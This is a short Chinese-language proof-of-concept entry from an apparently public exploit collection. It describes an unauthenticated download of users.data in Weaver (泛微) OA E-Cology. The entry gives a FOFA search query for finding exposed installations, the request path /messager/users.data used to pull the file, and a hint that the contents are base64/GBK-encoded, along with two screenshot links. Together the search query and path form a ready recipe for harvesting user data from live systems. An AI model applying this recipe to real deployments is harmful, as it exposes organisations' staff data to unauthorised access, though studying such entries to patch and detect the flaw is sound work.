Awesome-POC/OA产品漏洞/泛微OA E-Cology users.data 敏感信息泄漏.md

# 泛微OA E-Cology users.data 敏感信息泄漏

## 漏洞描述

泛微OA E-Cology users.data 允许任意用户下载，获取OA中的敏感信息

## 漏洞影响

```
泛微OA E-Cology
```

## FOFA

```
app="泛微-协同商务系统"
```

## 漏洞复现

登录页面

![image-20220520134158756](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205201341810.png)

验证POC

```
/messager/users.data
```

![image-20220520134209598](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205201342693.png)

base64 GBK解码